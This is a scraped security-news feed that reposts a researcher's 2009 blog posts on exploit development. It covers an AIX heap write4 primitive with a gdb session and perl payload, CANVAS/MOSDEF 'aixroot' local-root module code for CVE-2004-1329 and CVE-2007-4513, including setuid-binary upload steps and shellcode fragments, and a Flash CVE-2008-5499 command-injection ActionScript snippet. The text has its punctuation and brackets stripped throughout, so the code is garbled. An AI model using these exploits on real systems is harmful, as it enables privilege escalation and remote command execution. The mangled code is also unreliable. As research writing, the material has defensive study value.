http://www.secuobs.com Observatoire de la securite Internet fr webmaster@secuobs.com 2009-01-31 19:32:32 - A bug's life : Silvio "the smartest man on the Internet" Cesare is back on theInternets I suppose he's done wrestling crocodiles Read all about it:http://www.secuobs.com/revue/news/57132.shtmlhttp://www.secuobs.com/revue/news/57132.shtml Secuobs.com : 2009-01-23 04:38:39 - A bug's life - An old friend of mine once told me that exploits are written in adebugger and implemented in your programming language of choiceToday, with my debugger in hand, I took a quick journey into the AIXmemory allocatorSay you're dealing with a hypothetical BSS/heap memory corruption onAIX and you run into a crash like the following:Program received signal SIGSEGV, Segmentation fault0xd01f0488 in leftmost from /usr/lib/libcashrogdb bt 4#0 0xd01f048c in leftmost from /usr/lib/libcashro#1 0xd01f25ac in malloc_y from /usr/lib/libcashro#2 0xd01f1ecc in malloc_y_heap from /usr/lib/libcashro#3 0xd01e661c in malloc from /usr/lib/libcashroMore stack frames followgdbOh my, David Litchfield's paper dealing with rightmost free3 basedwrites isn't going to help you now is it Well, that's exactly why youshouldn't rely on 'exploit' papers to get things done People seem topanic when things haven't been done publicly before, but really whatwe're talking about here is just creative debugging Which is exactlywhat exploit development boils down toBefore we get to deeply into the nitty gritty, let's have a quick lookat the default AIX memory allocation policy:"Understanding the Default Allocation PolicyThe default allocation policy maintains the free space in the heap asnodes in a cartesian binary search tree in which the nodes are orderedleft-to-right by address increasing address to the right andtop-to-bottom by length such that no child is larger than itsparent This data structure imposes no limitation on the number ofblock sizes supported by the tree, allowing a wide range of potentialblock sizes Tree-reorganization techniques optimize access times fornode location, insertion, and deletion, and also protect againstfragmentation"Mmkay, so really what we're talking about is binary search trees Whena mallocn occurs, the AIX allocation policy states that a binarysearch for the leftmost node occurs searching for the lowest addressthat has a size associated with it that is = the requested sizeAlright so the leftmost function in which we crashed is walking thebinary search tree to the left, which is for all intents an purposesvery similar to walking a linked list yeah yeah, you can stone melaterSo lets have a look at the first couple of instructions of theleftmost function:Dump of assembler code for function leftmost:0xd01f043c : addi r9,r4,10680xd01f0440 : lwz r7,1068r40xd01f0444 : lwz r0,1072r40xd01f0448 : lwz r6,4r70xd01f044c : lwz r5,0r70xd01f0450 : cmplw r0,r60xd01f0454 : bne- 0xd01f0518 Alright, so really all this is doing is loading a current node addressand a size out of the __heaps structure which is referenced by r4,into r7 and r0 respectively r7 in turn holds a reference to the nextnode address and size, which is loaded into r5 and r6 respectivelyYou can see this logic in action below:Breakpoint 2, 0xd01f0450 in leftmost from /usr/lib/libcashror7 0x2000fcb0 536935600 address +8 are read and then written into current-address" That sounds awhole lot easier to remember :Now on to the second write at leftmost+76 A similar write logicoccurs, only this time 2 dwords are loaded into r5/r6 from r4+1068which contains our current node data by proxy of r9, and written tor7 after 8 bytes are added to r7 at leftmost+72 So what is r7pointing to r7 is loaded from r4+1076, which as we saw earlier, hasbeen initalized with our next address 0xcafebabe at leftmost+32Okay, so, hold on the current node data 0x2ff22cfc, 0x41424344is being written to the next address + 8 Sweet Because we have fullcontrol over the 2nd dword size we can trigger a write4 primitive aslong as the current address points to node data with a matching sizeBy setting the next address to an address you want to write to, minus8 bytes for the addi, minus 4 bytes for the first dword, we can writea controlled current size value to arbitrary locationsSo the proposed memory corruption logic becomes fairly simple:A - pointer to CB - what C - where-8-4 D - what If we can corrupt binary search tree data that is walked by leftmostwith AB, and provide CD elsewhere in memory eg via anenvironment variable for locals, you end up with a controlled write4primitive Groovy Now what you do with that write4 is entirely up toyou of course :Example: writing 0x41424344 to 0x2ff20404, I know CD lives at0x2ff2cfc, so my corrupted node data becomes remember, size, ie"what", for current and next have to match to enter the correct codeblock with the writes we wantA: 0x2ff22cfc B: 0x41424344 C: 0x2ff20404-8-4D: 0x41424344 CD can live wherever in memory, but for convenience sake I justput them right after AB, on a full blown exploit you will mostlikely have to deal with some survival issues post-write4 that callfor a cleaner overwrite, maybe ;gdb r -e `perl -e 'print "P"x5692; print "x2fxf2x01x0c"; print "P"x500;print "x2fxf2x01x0c"; print "x2fxf2x01x0c"; print "x2fxf2x01x0c";print "P"x72; print "x2fxf2x2cxfcABCDx2fxf2x03xf8ABCD"'` <- ABCD Breakpoint 2, 0xd01f0450 in leftmost from /usr/lib/libcashro r7 0x2ff22cfc 804400380 <- location of CD r0 0x41424344 1094861636 <- current size what r5 0x2ff203f8 804389880 <- where - 8 - 4 r6 0x41424344 1094861636 <- next size what gdb x/2x 0x2ff22cfc0x2ff22cfc: 0x2ff203f8 0x41424344 gdb Breakpoint 4, 0xd01f0488 in leftmost from /usr/lib/libcashro gdb x/i$pc0xd01f0488 : stswi r5,r7,8gdb i r r7r7 0x2ff20400 804389888gdb i r r5 r6r5 0x2ff22cfc 804400380r6 0x41424344 1094861636gdb si0xd01f048c in leftmost from /usr/lib/libcashrogdb x/x 0x2ff204040x2ff20404: 0x41424344gdbOkay, so that's a basic write4 primitive out of a leftmost binary treesearch on AIX heap corruption Take away: you don't have to memorizeevery single allocator known to man if you're willing to grunt it outfor a few hours with GDB After which you get to horribly simplify andmisuse binary tree based heap terminologyhttp://www.secuobs.com/revue/news/54362.shtmlhttp://www.secuobs.com/revue/news/54362.shtml Secuobs.com : 2009-01-16 23:42:48 - A bug's life - On the subject of a comedy of errors this is what happens when youfail to spot the priv drop that happens before you pull the trigger grossOn the bright side, I did end up improving the PPC payload generator,so that's splendid:Oh wellhttp://www.secuobs.com/revue/news/52373.shtmlhttp://www.secuobs.com/revue/news/52373.shtml Secuobs.com : 2009-01-16 02:50:50 - A bug's life - Doing silly bugs is relaxing They give your brain a break, and you canwrite the exploit on autopilot As an extension of the previouslymentioned AIX fun, I am currently chewing through a bunch of vanillastack overflows to plug into the AIXRoot module Today I was lookingat the 2008 'errpt' unspecified overflow, and hilarity ensuedThe patch is fairly straightforward, a sprintf call in the 'eprint'error printing function got changed to a snprintf call What's curiousabout it, is the proposed size limitation of the sprintf 0x7530Why that's more than 0x7350 But, 30000 bytes Yesh, they use a 30000byte stackbuffer as the destination for their sprintf The vulnerableversion thus requires a commandline input of 0x7530 + whatever toreach a saved link register on the stack SheeshThe default limit for ARG/ENV length in the AIX SMIT OSCharacteristics is 6*4K That means that, although you can reach thevulnerability quite easily you can't actually overflow theginormous stack buffer to hit any process critical memory If youchange the ARG/ENV allowance to 32K life is better which is ofcourse an entirely feasible scenario *cough*Tomorrow: exploits that don't require pigs in flight Maybehttp://www.secuobs.com/revue/news/52126.shtmlhttp://www.secuobs.com/revue/news/52126.shtml Secuobs.com : 2009-01-14 21:31:15 - A bug's life - MOSDEF, aptly named by frontman Aitel after some rapper guy, is amysterious beast to many It's driven most CANVAS developers to theedge of insanity and back As evident from Rich Smith's bloodshoteyes, MOSDEF can be quite the thrill ride Rich, in case you werewondering, is the Immunity Brit who is currently revamping the MOSDEFC parser Some of you may know him from his 12 page CANVAS releasemessages : The best way to describe MOSDEF is to think of it like amulti-platform Windows/Solaris/Linux/AIX/OSX/BSD multi-architecturePPC/SPARC/X86 C-compiler written in Python, that drives the CANVASpost-exploitation engine, which in turn revolves around remote libc'scalled MOSDEFShellServersRightAnyhow, one of my pet Immunity projects is the MOSDEF AIX supportMostly because I wanted to play around with PPC, secondly because AIXis the most recently implemented MOSDEF platform, and also becausewatching Kostya hack Windows makes me feel like a small child thatwants to hide in the comforting bosom of mother UNIXThe cool thing about AIX from an exploit development point of view isthat it has about 5 million bugs, so there's lots of bugclasses to doand lots of MOSDEF features to implement Besides some architecturequirks like icache/dcache syncing and platform quirks such asper-process syscall number sets, AIX is quite vanilla when it comes toexploit development The real pain with AIX is the problem ofportability and cross-version attack support mostly resulting fromthose pesky syscall setsAs an offshoot of MOSDEF AIX support, one of my running projects isthe CANVAS "aixroot" module Aixroot is my idea of what a localexploitation module for CANVAS should look like It is a modular localexploitation mini-framework and it relies _heavily_ on MOSDEF for allit does So much in fact, that I feel it makes for a good walk throughof how MOSDEF works, which seems to be a subject of much confusion anddebateLet's start at the beginning: CANVAS works with the concept of nodesA node is a resource you've established access to that has a set ofcapabilities Practical example: A Windows machine you've compromisedwith MS08-067 is turned into a win32Node with full MOSDEF capabilitiessystem API Likewise a SMB share you accessed with the CANVASsmbclient, turns into a smbNode with VFS capabilitiesupload/download/etc Make sense CoolSo in that context, our initial access to an AIX machine is going tobe an aixNode That means we have a MOSDEF shell up and running on theAIX system via whatever means trojan, exploit, etc So what doesthat look like Wed Jan 14 12:33:21 2009 Connected to by '1921681101', 32850 Wed Jan 14 12:33:21 2009 Connected, AIX MOSDEFC Selffd=3C mainloop length=276C Resetting signal handlersC Defaulting SIGCHLDC Ignoring SIGPIPEC Getting UIDsC Calling findInterfacesC Reading 5 interfaces from remote side 160 len bytesC Adding interface: en0C Adding interface: lo0Letting user interact with serverAIX/MOSDEF$ idUID=202 EUID=202 GID=1 EGID=1AIX/MOSDEF$ uname -aAIX localhost 2 5 000948BC4C00AIX/MOSDEF$ Looks like a regular shell to me What gives Bas Well, there's a heapof stuff going on behind the scenes here Most importantly what you'reseeing is not a shell in the traditional sense It's a MOSDEF shell,which is driven by a simple read-and-call loop on the target side andlots of confusing CANVAS plumbing on the attacking sideThat means the actual code running on a CANVAS target is simple andeasy to implement on any platform Writing MOSDEF compatible trojansand payloads is very straightforward and boils down to something likethis pseudo-code:MOSDEFLoop:read integer nread n bytes datacall datagoto MOSDEFLoopSimple But why The main advantage here is that we get to send overnative CPU instructions and they get executed within whatever processthe MOSDEF loop is running in This means we get system API accesswithout the need to touch disk or execute binaries Awesome Does thatmeans we have to write everything we want to do on the system inposition independent assembly and then send over raw binary code Yesit does, but hang in thereThis is where MOSDEF comes into a play Like I said before, MOSDEF isa multi-platform C-compiler that spans a variety of architectures Thetrick here is that MOSDEF generates position independent code for youNow the fact that MOSDEF is written in Python lets you import and usea full blown compiler in your exploits What are the advantages ofbeing able to do that 1 rapid in-exploit payload development 2rapid post-exploitation-action developmentHere's a bad representation of how everything ties together in CANVASIn the case of our AIX example the operation chain looks like this:AIXNode MOSDEFLoop CANVAS MOSDEFShellServer MOSDEF When I gave the "id" command on the MOSDEF shell prompt, CANVAS calledout to the CANVAS MOSDEFShellServer associated with the AIXNode, theShellServer in turn called out to something like:def idsself:vars = {}code = """#import "local","getuid" as "getuid"#import "local","geteuid" as "geteuid"#import "local","getgid" as "getgid"#import "local","getegid" as "getegid"#import "local","sendint" as "sendint"void main{int i;i = getuid;sendinti;i = geteuid;sendinti;i = getgid;sendinti;i = getegid;sendinti;}"""selfclearfunctioncacherequest = selfcompilecode, varsselfsendrequestrequestselfuid = selfreadintselfeuid = selfreadintselfgid = selfreadintselfegid = selfreadintselfleavereturn selfuid, selfeuid, selfgid, selfegidTied into the MOSDEFShellServer, is a MOSDEFLibc which resolves allthe relevant imports to their desired system calls eg getuid boilsdown to the relevant syscall wrapper call, sendint is generated to usethe active fd for the aixNode, etc, and ultimately the complete Ccode is passed to the actual MOSDEF compiler to be compiled andassembled The compile call returns a block of position independentbinary code, which we can then send to the MOSDEFLoop running on theaixNode Most excellentBy tying in a compiler to the CANVAS framework, we have a relativelystraightforward way to write and execute C code on our target system,with full system API access The downside is, to keep things usable,you have to maintain your own 'remote' libc of sorts This isessentially what the MOSDEFShellServers and MOSDEFLibc's areSo, as our base, let's take two completely different bugs Say,CVE-2004-1329 and CVE-2007-4513 The first one is an oldschool,environment handling bug that results in a suid root binariesexecuting stuff for you The second, CVE-2007-4513, is a straightforward stack overflow We want to have both these bugs result in astraightforward privilege escalation of our existing aixNodeDiving into the first bug, the bug primitive is fairlystraightforward Using the DIAGNOSTICS environment variable, you caninfluence the path in which the diag tool looks for a binary toexecute Dctrl The diag tool in turn is called from a variety ofsuid root binaries, one of which is lsmcode there exists a verysimilar bug in lsmcode that came out in April last year, not to beconfused with this one-r-sr-xr-x 1 root system 10014 Oct 01 2004 /usr/sbin/lsmcodeExploiting this bug conveniently with CANVAS is fairlystraightforward We have an active connection to an establishedaixNode, and we want to elevate the privileges of the process runningthe MOSDEFLoop using the given bug primitive executing an arbitrarybinary as root Taking into account that file descriptors areinherited across execve2 calls, really all we need to do is upload alittle helper binary using MOSDEF This helper binary will take an fdargument and initiate a MOSDEFLoop using this passed file descriptorIf we use our bug primitive to make this binary suid root, we can thenuse execve2 to replace our current process image with the helperbinary, which will then continue the aixNode's MOSDEFLoop as ifnothing happened The file descriptor is nicely migrated across, andwe are now running as rootBut what if something goes wrong Hrmm Okay, so if something goeswrong, we want our original MOSDEFLoop to continue functioning as ifnothing happened Solution We just fork, and wait on our child Ifthe child fails or blows up, the parent MOSDEFLoop continues as ifnothing happened If the child succeeds, the parent waits until we aredone with our root privileges Which is, of course, neverThe aixroot module was designed to be easily extended, so first weplug our new proposed exploit into the aixroot module:class theexploitcanvasexploit:def __init__self:canvasexploit__init__selfselfAIXlocals = {}selfAIXlocals'CVE_2007_4003' = getModuleExploitClass'CVE_2007_4003', which='CVE_2007_4003'selfAIXlocals'CVE_2007_4513' = getModuleExploitClass'CVE_2007_4513', which='CVE_2007_4513'selfAIXlocals'CVE_2004_1329' = getModuleExploitClass'CVE_2004_1329', which='CVE_2004_1329'selfCVE = Noneselfname = NAMEreturndef runself:selfsetInfo'%s - in progress' % NAMEselfgetargsret = Falseif selfCVE in selfAIXlocals:selfsetInfo'%s - %s' % NAME, selfCVE# this returns elevated node on success, false on Failureret = selfAIXlocalsselfCVEself, selfnodeshellversionexploitselfnodeif ret not in False, None:# init a new node with same SSidretshellstarted = Falseretshellstartupselflog"Done check your UID"selfsetInfo'%s - finished' % NAMEreturn retOur actual exploit logic is then implemented in a separate moduleCVE_2004_1329 and flows like this:class CVE_2004_1329:def __init__self, parent, target = '52':selfdescription = 'DIAGNOSTICS environment handling local root'selft_path = '/usr/sbin/lsmcode'selftarget = targetselflog = parentlogselffd = parentnodeshellfd# the binary you want uploaded and executed as root selfversions = { '51' : 'backdoors/aix51_privesc', '52' : 'backdoors/aix52_privesc','53' : 'backdoors/aix53_privesc' }returndef exploitself, node:""" trigger the mosdef exploit execve """# first mkdir /tmp/canvas/binnodeshellmkdir'/tmp/canvas'nodeshellmkdir'/tmp/canvas/bin'try:binary = openselfversionsselftarget, 'rb+'readexcept:selflog"error opening %s not available" % selfversionsselftargetreturn False# upload Dctrl scriptscript = ''script += '#/bin/sh'script += 'chown root:system /tmp/x'script += 'chmod +s /tmp/x'if not selfupload_binarynode, script, '/tmp/canvas/bin/Dctrl':selflog"error uploading Dctrl script"return False# upload privesc binaryif not selfupload_binarynode, binary, '/tmp/x':selflog"error uploading privesc binary"return Falsex_vars = {}x_vars'ENV' = 'DIAGNOSTICS=/tmp/canvas'x_vars'TARGET' = selft_path x_code = """#import "local", "execve" as "execve"#import "local", "sendint" as "sendint"#import "local", "fork" as "fork"#import "local", "waitpid" as "waitpid"#import "local", "getpid" as "getpid"#import "local", "_exit" as "_exit"#import "string", "ENV" as "ENV"#import "string", "TARGET" as "TARGET"intmain{char *exec2;char *env25;int pid;int status;int ret;exec0 = TARGET;exec1 = 0;// baby bugs need loving environmentsenv0 = ENV;env24 = 0;sendint0;pid = fork;if pid{status = 1;ret = waitpidetstatus, pid, 0;}else{execveexec0, exec, env;_exit0;}}"""try:ret = nodeshellrunCodex_code, x_varsexcept:selflog"something bad happened"import tracebacktracebackprint_excfile=sysstdoutreturn False# exec the privesc helperp_vars = {}p_vars'TARGET' = "/tmp/x";p_vars'FD' = "%d" % selffdp_code = """#import "local", "execve" as "execve"#import "local", "sendint" as "sendint"#import "local", "fork" as "fork"#import "local", "waitpid" as "waitpid"#import "local", "getpid" as "getpid"#import "local", "_exit" as "_exit"#import "string", "TARGET" as "TARGET"#import "string", "FD" as "FD"intmain{char *exec3;int pid;int status;int ret;exec0 = TARGET;exec1 = FD;exec2 = 0;sendint0;pid = fork;if pid{status = 1;ret = waitpidetstatus, pid, 0;}else{execveexec0, exec, 0;_exit0;}}"""try:ret = nodeshellrunCodep_code, p_varsexcept:selflog"something bad happened"import tracebacktracebackprint_excfile=sysstdoutreturn Falseselflog"### Remember to cleanup /tmp/canvas, /tmp/x ###"# disable call stack errno support on stuff that mangles the stacknodeshellerrno = Falsereturn nodeUsing our system API access, we upload 2 executables, the Dctrl scriptthat will make our helper suid root, and the actual helper binary thatwill replace our forked process image Once the forked process imageis replaced, we return to the aixroot module, and the aixNode isre-initialized Presto, now we have root on our existing connection,in theory:AIX/MOSDEF$ runmodule aixroot -O CVE:CVE_2004_1329C Running module: aixrootC Args: -O CVE:CVE_2004_1329Loading aixroot ok Loading CVE_2007_4003 ok Loading CVE_2007_4513 ok Loading CVE_2004_1329 ok Wed Jan 14 14:06:22 2009 C 0001/32 ID: 0 Setinfo: AIXroot - CVE_2004_1329 AIXroot - finished L', 0x41414141ovf += structpack'L', 0x42414141ovf += structpack'L', selfversionsselftargetovf += structpack'L', 0x44414141ovf += structpack'L', 0x45414141ovf += structpack'L', 0x45414141return ovfA setuid shellcode attribute for AIX PPC in the CANVAS shellcodegenerator looks like:def setuidself, args:code="""setuid:mflr r20li r3, 0x%xli r2, SYS_setuidaddi r20,r20,setuid_out - setuidmtlr r20crorc 6, 6, 6scsetuid_out:""" % args'uid'code = selflibcpatch_defines_with_valuescode, "SYS_setuid"selfcode += codeNow, using the same fork/execve/wait logic, we trigger thevulnerability If the exploit is unsuccessful and the child crashes orexits, the parent continues as if nothing happened Otherwise, thepayload takes over the session, and we are now running with elevatedprivileges Let's put the theory to the test:AIX/MOSDEF$ idUID=202 EUID=202 GID=1 EGID=1AIX/MOSDEF$ runmodule aixroot -O CVE:CVE_2007_4513C Running module: aixrootC Args: -O CVE:CVE_2007_4513 Wed Jan 14 14:29:44 2009 C 0001/32 ID: 0 Setinfo: AIXroot - in progress AIXroot - CVE_2007_4513 AIXroot - finished http://www.secuobs.com/revue/news/51404.shtmlhttp://www.secuobs.com/revue/news/51404.shtml Secuobs.com : 2009-01-09 04:32:07 - A bug's life - One thing that's been annoying me for the last couple of days isCVE-2008-5499, AKA, 'super secret unknown vulnerability in FlashPlayer 9/10 for Linux' Dave of the Aitel persuasion wanted to getthis stuff into CEU before the year was over So I finally sneaked insome time and decided the research involved makes for swellinfotainment Let's have a lookOn December 17, 2008, Adobe put out an update for Flash Player 10 and9 on zee Linux platform, where 9 received a specific security updatein the form of revision 152 This to accommodate people who are unableto upgrade to version 10 Seeing how the revision jump for 9 151 to152 is significantly smaller than the one for version 10, I used9r151 and 9r152 for all diffing goodness and later correlated thisanalysis to version 10Putting Patchdiff2 hooray TOTO_ to work on 9r151 and 9r152, followedby a couple of hours of ctrl-e and alt-f3'ing, exposes two things A HOLY HEADACHY GRAPH BATMAN and B the only significantfunctionality change in 9r152 involves the removal of a call tosystem3Sorry, come againIf you were born in the 90ies and are unfamiliar with metacharactervulnerabilities, the problem revolves around being able to placecontrolling characters into a shell command For example "ls hi" triesto list a file named "hi", but inserting a metacharacter into thiscommand eg "ls ;hi" or "ls `hi`" or "ls | hi" etc would flip thescript and try to execute an executable named "hi" This was beforeyou had to sell your soul to Kostya to get a shell on anything coolYes HooraySo let's fast forward to 2008 and CVE-2008-5499, for which I presentto you the following ActionScript:if _globalASnative2201, 1"airappinstaller" {_globalASnative2201, 2"airappinstaller", ";touch /tmp/OWNED";_roottftext = "Check /tmp/OWNED :X";}Now if you don't care about technical details too much, you can stopreading here and take away the following:* Flash 9/10 for Linux had a metacharacter arbitrary command executionbug* It appears only exploitable when you have a helper binary and validdigest installed which chances are, you don't* Adobe AIR gets you such a helper binary and digest in the form of"airappinstaller"If you recall, in 2002 yes I had to google it too don't worry, therewas much to do over an undocumented feature in Flash Exposed only viathe ASnative function index This feature seemed to be the outline fora framework intended to install and launch helper applicationssupplied by Macromedia and involved the following functions:ASnative2201, 0 # isRunningASnative2201, 1 # isInstalledASnative2201, 2 # launchASnative2201, 3 # downloadASnative2201, 4 # installedVersionSince then this API has been fully exposed and documented as theSystemProduct object You can use it to, eg, install a Flash updatewith code that looks like:var product = new _globalSystemProduct"fpupdateax";productdownload;productlaunch;Which would theoraadtically download and launch the Flash 10 updaterusing the macromediacom/bin/flashdownloadcgiproduct=productnameredirector Initially this application download/launch mechanism didnot include Macromedia SSL certificate based digest checking, but itdoes include such fun these daysIf you own a PS3 that point is completely moot, of courseThe SystemProduct functionality is still present in Flash Player anno2008, in fact, it is used heavily with the advent of Adobe AIR WhyWell, Adobe AIR uses this very mechanism to install AIR applicationsthrough its "airappinstaller" Flash helper binary GroovyLet's have a look at the relevant code snippets First we find thefunction that handles the 2201 ASnative index in the ASnativereference table 2201 - 899hdatarelro:0095A480 ASnative_table dd 65h datarelro:0095A484 dd offset sub_19EB50datarelro:0095A530 dd 899hdatarelro:0095A534 dd offset ASnative_2201 ; start of path to systemOnce we figure out where ASnative2201, n lives and how it's called,we can start following relevant code to carve a path to the patchedcall to system3 essentially they moved it to a fork/execveconstruct in Flash 10text:0024F64C cmp eax, 2 ; 2201, 2text:0024F64F noptext:0024F650 jz launch_case text:0024FAE0 launch_case: text:0024FAF3 call flash9_systemtext:004675B0 flash9_system proc near text:004675F1 call binary_digest_checkertext:00467676 call _system ; o/ Okay, cool, as you can see ASnative2201, 2 will take us to thesystem3 call that was removed in the security update Closeranalysis, and I'll spare you the boring details, shows that we get tosupply arguments to the helper application that is to be launched bysystem3 via the ASnative2201, 2 call with something likeASnative2201, 2"theirapp", "myargs" This in turn allows formetacharacter based arbitrary command appending of the 1992AD varietySeems straight forward enough Given the fact that we can get aknown/valid application binary and digest in place via the Adobe AIRinstaller for Linux, let's write some Exploit ActionScript then, shallwe Yes we shallI used the mtasc ActionScript compiler and so should you It makes allsorts of fun with Flash easy and quick This is the part where we grinand laugh in a maniacal fashion for no apparent reason I mean, hiThe ASnative2201, 2"validAdobeApp", ";arbitrary command" willexecute arbitrary commands on vulnerable Flash Player 10r12 browsers,on Linux systems that also have Adobe AIR installed The latter is aprerequisite only because we need a valid helper application installedin the ~/macromedia/Flash_Player/wwwmacromediacom/bin/ folder thatwe can launchAnd yes you did not misread, Flash 10r12, even though I did all theanalysis based on version 9 this exploit does not actually work withversion 9 because 9r151 lacks some of the digest checking semanticsthat make things work smoothly It is still technically vulnerable ofcourseWhen AIR is installed the exploit works without user interaction Coolbeans Other attack scenarios include initiating valid applicationdownload's and then launch-ing the vulnerable function but Idid not find any available Macromedia Linux applications that can bedownloaded via the flashdownloadcgi mechanism Surely someone withmore ActionScript experience can dream up something coolWhat better way to say bye to 2008 than with a 1992AD metacharacterbughttp://www.secuobs.com/revue/news/50078.shtmlhttp://www.secuobs.com/revue/news/50078.shtml